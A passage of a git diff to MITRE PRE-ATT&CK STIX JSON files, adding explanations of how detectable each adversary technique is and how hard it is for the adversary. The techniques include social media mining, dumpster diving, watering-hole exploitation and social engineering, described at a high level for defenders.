+++ b/pre-attack/attack-pattern/attack-pattern--68b45999-bb0c-4829-bbd0-75d6dac57c94.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--80c1b43c-f679-4e92-8f28-5cee4ea51789",
+    "id": "bundle--c1465a7c-a6c3-4dda-9d5d-513d75ffbabb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--68b45999-bb0c-4829-bbd0-75d6dac57c94",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obtain templates/branding materials",
-            "description": "Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary may download templates or branding from publicly available presentations that the defender can't monitor.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Some branding information is publicly available when a corporation publishes their briefings to the internet which provides insight into branding information and template materials.  An exhaustive list of templating and branding is likely not available on the internet.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary may download templates or branding from publicly available presentations that the defender can't monitor.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Some branding information is publicly available when a corporation publishes their briefings to the internet which provides insight into branding information and template materials.  An exhaustive list of templating and branding is likely not available on the internet."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--695b1cce-57d7-49ae-a2af-820d50153f12.json b/pre-attack/attack-pattern/attack-pattern--695b1cce-57d7-49ae-a2af-820d50153f12.json
index 01a8b669e3..3533423b06 100644
--- a/pre-attack/attack-pattern/attack-pattern--695b1cce-57d7-49ae-a2af-820d50153f12.json
+++ b/pre-attack/attack-pattern/attack-pattern--695b1cce-57d7-49ae-a2af-820d50153f12.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5c0daaac-a448-4a10-91d6-c1e4ffb1f301",
+    "id": "bundle--4d2e7048-6870-46b1-95a3-19c7d2c51d9d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--695b1cce-57d7-49ae-a2af-820d50153f12",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Mine social media",
-            "description": "An adversary may research available open source information about a target commonly found on social media sites such as [https://www.facebook.com Facebook], [https://www.instagram.com Instagram], or [https://www.pinterest.com Pinterest].  Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary may research available open source information about a target commonly found on social media sites such as [https://www.facebook.com Facebook], [https://www.instagram.com Instagram], or [https://www.pinterest.com Pinterest].  Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very public by design.  Application of privacy settings is not a panacea.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Very public by design.  Application of privacy settings is not a panacea."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--6baf6388-d49f-4804-86a4-5837240555cd.json b/pre-attack/attack-pattern/attack-pattern--6baf6388-d49f-4804-86a4-5837240555cd.json
index 117f71944d..4f477e0999 100644
--- a/pre-attack/attack-pattern/attack-pattern--6baf6388-d49f-4804-86a4-5837240555cd.json
+++ b/pre-attack/attack-pattern/attack-pattern--6baf6388-d49f-4804-86a4-5837240555cd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ecc7c06c-77b1-4cc2-b0a7-23ece84c7b73",
+    "id": "bundle--5d2cd745-622d-42a3-a135-c8d9be67831d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--6baf6388-d49f-4804-86a4-5837240555cd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine firmware version",
-            "description": "Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No easy way for defenders to detect when an adversary collects this information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Depending upon the target device, there are variable ways for an adversary to determine the firmware version.  In some cases, this information can be derived from easily obtained information.  For example, in [http://www.cisco.com Cisco] devices, the firmware version is easily determined once the device model and OS version is known since it is included in the release notes.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "No easy way for defenders to detect when an adversary collects this information.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Depending upon the target device, there are variable ways for an adversary to determine the firmware version.  In some cases, this information can be derived from easily obtained information.  For example, in [http://www.cisco.com Cisco] devices, the firmware version is easily determined once the device model and OS version is known since it is included in the release notes."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--6c79d654-6506-4f33-b48f-c80babdcc52d.json b/pre-attack/attack-pattern/attack-pattern--6c79d654-6506-4f33-b48f-c80babdcc52d.json
index d4b7d7691d..56ed479fdc 100644
--- a/pre-attack/attack-pattern/attack-pattern--6c79d654-6506-4f33-b48f-c80babdcc52d.json
+++ b/pre-attack/attack-pattern/attack-pattern--6c79d654-6506-4f33-b48f-c80babdcc52d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--65290885-d422-4009-b2f4-c4f48a523d03",
+    "id": "bundle--25d019fc-aaa2-460a-9508-712b6a835381",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--6c79d654-6506-4f33-b48f-c80babdcc52d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dumpster dive",
-            "description": "Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Strong physical security and monitoring will detect this behavior if performed on premises.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Not difficult if waste is placed in an unsecured or minimally secured area before collection.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Strong physical security and monitoring will detect this behavior if performed on premises.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Not difficult if waste is placed in an unsecured or minimally secured area before collection."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--6f088e84-37b2-44de-8df3-393908f2d77b.json b/pre-attack/attack-pattern/attack-pattern--6f088e84-37b2-44de-8df3-393908f2d77b.json
index 1b8ba79322..395e5dcf44 100644
--- a/pre-attack/attack-pattern/attack-pattern--6f088e84-37b2-44de-8df3-393908f2d77b.json
+++ b/pre-attack/attack-pattern/attack-pattern--6f088e84-37b2-44de-8df3-393908f2d77b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2657a82e-12aa-4e98-a45d-76fbe21de281",
+    "id": "bundle--67994c5e-de92-4e25-a2a8-377c770046f9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--6f088e84-37b2-44de-8df3-393908f2d77b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Host-based hiding techniques",
-            "description": "Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of  static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of  static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Techniques are difficult to detect and might occur in uncommon use-cases (e.g., patching, anti-malware, anti-exploitation software).\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Some of the host-based hiding techniques require advanced knowledge combined with an understanding and awareness of the target's environment (e.g., exploiting weaknesses in  file formats, parsers and detection capabilities).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Techniques are difficult to detect and might occur in uncommon use-cases (e.g., patching, anti-malware, anti-exploitation software).",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Some of the host-based hiding techniques require advanced knowledge combined with an understanding and awareness of the target's environment (e.g., exploiting weaknesses in  file formats, parsers and detection capabilities)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--702dc95d-3266-42dc-9eef-4a19e2445148.json b/pre-attack/attack-pattern/attack-pattern--702dc95d-3266-42dc-9eef-4a19e2445148.json
index 9d52f876a4..5e30796266 100644
--- a/pre-attack/attack-pattern/attack-pattern--702dc95d-3266-42dc-9eef-4a19e2445148.json
+++ b/pre-attack/attack-pattern/attack-pattern--702dc95d-3266-42dc-9eef-4a19e2445148.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3cd4dba2-d637-48f1-a5e3-a5016d7053a3",
+    "id": "bundle--0e8d1e68-c1aa-4f1a-b890-31c4020d6777",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--702dc95d-3266-42dc-9eef-4a19e2445148",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Push-notification client-side exploit",
-            "description": "A technique to push an [https://www.apple.com/ios iOS] or [https://www.android.com Android] MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A technique to push an [https://www.apple.com/ios iOS] or [https://www.android.com Android] MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: For non-corporate cellular devices not joined to the corporate network, it is not possible to detect an adversary's use of the technique because messages traverse networks outside of the control of the employer. For corporate cellular devices which are joined to the corporate network, monitoring of messages and ability to patch against push attacks is possible, assuming they are fully monitored.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easily executed technique to push an MMS-type message to the target which does not require interaction on the part of the target to be successful.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "For non-corporate cellular devices not joined to the corporate network, it is not possible to detect an adversary's use of the technique because messages traverse networks outside of the control of the employer. For corporate cellular devices which are joined to the corporate network, monitoring of messages and ability to patch against push attacks is possible, assuming they are fully monitored.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Easily executed technique to push an MMS-type message to the target which does not require interaction on the part of the target to be successful."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--72923cae-6c8c-4da2-8f48-b73389529c25.json b/pre-attack/attack-pattern/attack-pattern--72923cae-6c8c-4da2-8f48-b73389529c25.json
index 7479916f62..f9256c05d4 100644
--- a/pre-attack/attack-pattern/attack-pattern--72923cae-6c8c-4da2-8f48-b73389529c25.json
+++ b/pre-attack/attack-pattern/attack-pattern--72923cae-6c8c-4da2-8f48-b73389529c25.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6d13ffa5-cd8d-4357-a7b5-154a762a239d",
+    "id": "bundle--f2934f2b-3c4e-45be-ba68-c8d1b16a3cca",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--72923cae-6c8c-4da2-8f48-b73389529c25",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Targeted client-side exploitation",
-            "description": "A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user.  However, this is not foolproof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense.  Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.  The added challenge for a conditional watering hole is the reduced scope and likely reduced ability to detect or be informed.  Determining deltas in content (e.g., differences files type/size/number/hashes) downloaded could also aid in detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.  The additional challenge is the reduced set of options for web sites to compromise since the set is reduced to those often visited by targets of interest.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -44,7 +44,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defensive technologies exist to scan web content before delivery to the requested end user.  However, this is not foolproof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense.  Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.  The added challenge for a conditional watering hole is the reduced scope and likely reduced ability to detect or be informed.  Determining deltas in content (e.g., differences files type/size/number/hashes) downloaded could also aid in detection.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.  The additional challenge is the reduced set of options for web sites to compromise since the set is reduced to those often visited by targets of interest."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--72c8d526-1247-42d4-919c-6d7a31ca8f39.json b/pre-attack/attack-pattern/attack-pattern--72c8d526-1247-42d4-919c-6d7a31ca8f39.json
index 183fb956bc..c721fef0d9 100644
--- a/pre-attack/attack-pattern/attack-pattern--72c8d526-1247-42d4-919c-6d7a31ca8f39.json
+++ b/pre-attack/attack-pattern/attack-pattern--72c8d526-1247-42d4-919c-6d7a31ca8f39.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b56242e1-0bdc-4112-922c-b4ead5854dab",
+    "id": "bundle--7c963185-ae44-4961-84c4-4905a51d4ca3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--72c8d526-1247-42d4-919c-6d7a31ca8f39",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obfuscate infrastructure",
-            "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will generally not have visibility into their infrastructure.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Building and testing infrastructure and obfuscating it to protect it against intrusions are a standard part of the adversary process in preparing to conduct an operation against a target.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will generally not have visibility into their infrastructure.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Building and testing infrastructure and obfuscating it to protect it against intrusions are a standard part of the adversary process in preparing to conduct an operation against a target."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--73e394e5-3d8a-40d1-ab8c-a1b4ea9db424.json b/pre-attack/attack-pattern/attack-pattern--73e394e5-3d8a-40d1-ab8c-a1b4ea9db424.json
index 4b62a16d15..082843dd23 100644
--- a/pre-attack/attack-pattern/attack-pattern--73e394e5-3d8a-40d1-ab8c-a1b4ea9db424.json
+++ b/pre-attack/attack-pattern/attack-pattern--73e394e5-3d8a-40d1-ab8c-a1b4ea9db424.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8d43af2e-210b-4c2a-b0e5-b82a112706b8",
+    "id": "bundle--4dcd878d-c231-462c-80fd-901483f36554",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--73e394e5-3d8a-40d1-ab8c-a1b4ea9db424",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Install and configure hardware, network, and systems",
-            "description": "An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Skills are common to majority of computer scientists and \"hackers\".  Can be easily obtained through contracting if not organic to adversary's organization.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Skills are common to majority of computer scientists and \"hackers\".  Can be easily obtained through contracting if not organic to adversary's organization."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a.json b/pre-attack/attack-pattern/attack-pattern--73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a.json
index ae34006c1c..07b77e948e 100644
--- a/pre-attack/attack-pattern/attack-pattern--73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a.json
+++ b/pre-attack/attack-pattern/attack-pattern--73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eb538d45-848b-48ba-9137-89d1cf12b319",
+    "id": "bundle--998199b0-deba-4005-be34-ff5dcfdf4f84",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify business relationships",
-            "description": "Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Exception to the rule is if the adversary tips off the target that others have been asking about the relationship with them.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires an intensive process.  In some industries, business relationships may be public in order to generate business, but this is not the case for all industries and all relationships.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Exception to the rule is if the adversary tips off the target that others have been asking about the relationship with them.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires an intensive process.  In some industries, business relationships may be public in order to generate business, but this is not the case for all industries and all relationships."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1.json b/pre-attack/attack-pattern/attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1.json
index 0764ed87f8..36a2a2d17a 100644
--- a/pre-attack/attack-pattern/attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1.json
+++ b/pre-attack/attack-pattern/attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--38cf7b14-f9e4-4cd9-8635-bb101cc87d98",
+    "id": "bundle--b1162775-6d2d-48f2-a868-ed7e0d1829b2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Conduct social engineering",
-            "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting technical information about a target.  Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "No technical means to detect an adversary collecting technical information about a target.  Any detection would be based upon strong OPSEC policy implementation.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--762771c2-3675-4535-88e9-b1f891758974.json b/pre-attack/attack-pattern/attack-pattern--762771c2-3675-4535-88e9-b1f891758974.json
index 6c2ae2fd72..f574b5c99d 100644
--- a/pre-attack/attack-pattern/attack-pattern--762771c2-3675-4535-88e9-b1f891758974.json
+++ b/pre-attack/attack-pattern/attack-pattern--762771c2-3675-4535-88e9-b1f891758974.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3274d318-307c-4ad0-85e9-752467b84804",
+    "id": "bundle--2038c1f5-9b28-4816-8679-7392b6851e54",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--762771c2-3675-4535-88e9-b1f891758974",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify personnel with an authority/privilege",
-            "description": "Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary.  One example of this is an individual with financial authority to authorize large transactions.  An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary.  One example of this is an individual with financial authority to authorize large transactions.  An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The layers of data required and potential gaps of information to map a specific person to an authority or privilege on a network requires access to resources that may not tip off a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an adversary to undergo an intensive research process.  It is resource intensive or requires special data access.  May be easier for certain specialty use cases.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
